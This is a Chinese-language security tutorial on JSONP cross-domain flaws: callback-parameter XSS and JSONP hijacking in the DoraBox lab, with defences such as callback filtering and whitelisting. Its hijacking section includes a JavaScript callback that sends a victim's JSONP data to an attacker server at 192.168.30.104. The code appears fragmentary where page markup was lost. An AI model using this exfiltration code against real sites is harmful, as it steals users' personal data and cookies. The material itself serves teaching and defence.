JSONP跨域访问漏洞 |
您所在的位置:网站首页 › 跨域导致cookie写入失败 › JSONP跨域访问漏洞 |
JSONP跨域访问漏洞
文章目录
JSONP跨域访问漏洞一、漏洞原理二、callback参数自定义引起的XSS1.漏洞利用2.防御
三、JSONP劫持1.漏洞利用2.防御
一、漏洞原理
SONP跨域漏洞主要是Callback用户可控导致的XSS和JSONP劫持两种类型 JSONP劫持,实质上算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。 二、callback参数自定义引起的XSS 1.漏洞利用构造如下页面,创建恶意链接诱使用户点击,即可获取用户的信息 function test(args) { // 调用stringfy方法,将JSON对象转换为字符串 alert(JSON.stringify(args)); } // %2B为+ %26为&模拟用户访问,成功将cookie和url地址添加到数据库 2.防御过滤callback函数名称和内容 设置白名单,提前沟通好允许传输的内容 严格按照JSON格式标准输出,添加header (“Content-Type:application/json”) 三、JSONP劫持通过对callback的过滤,无法利用跨域访问漏洞实现xss攻击,但还存在JSONP漏洞 1.漏洞利用以DoraBox靶场的jsonp模块为例 在攻击者服务器192.168.30.104上创建jsonpuse.html(发送恶意请求)和jsonpuse.php(接收用户信息) jsonpuse.html JSONP // 获取数据发送到攻击者服务器 function callBack(args) { location.href="http://192.168.30.104/jsonprecv.php?value=" + JSON.stringify(args) + "&referer=" + document.referer; } // 访问有jsonp漏洞的服务器jsonprecv.php |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |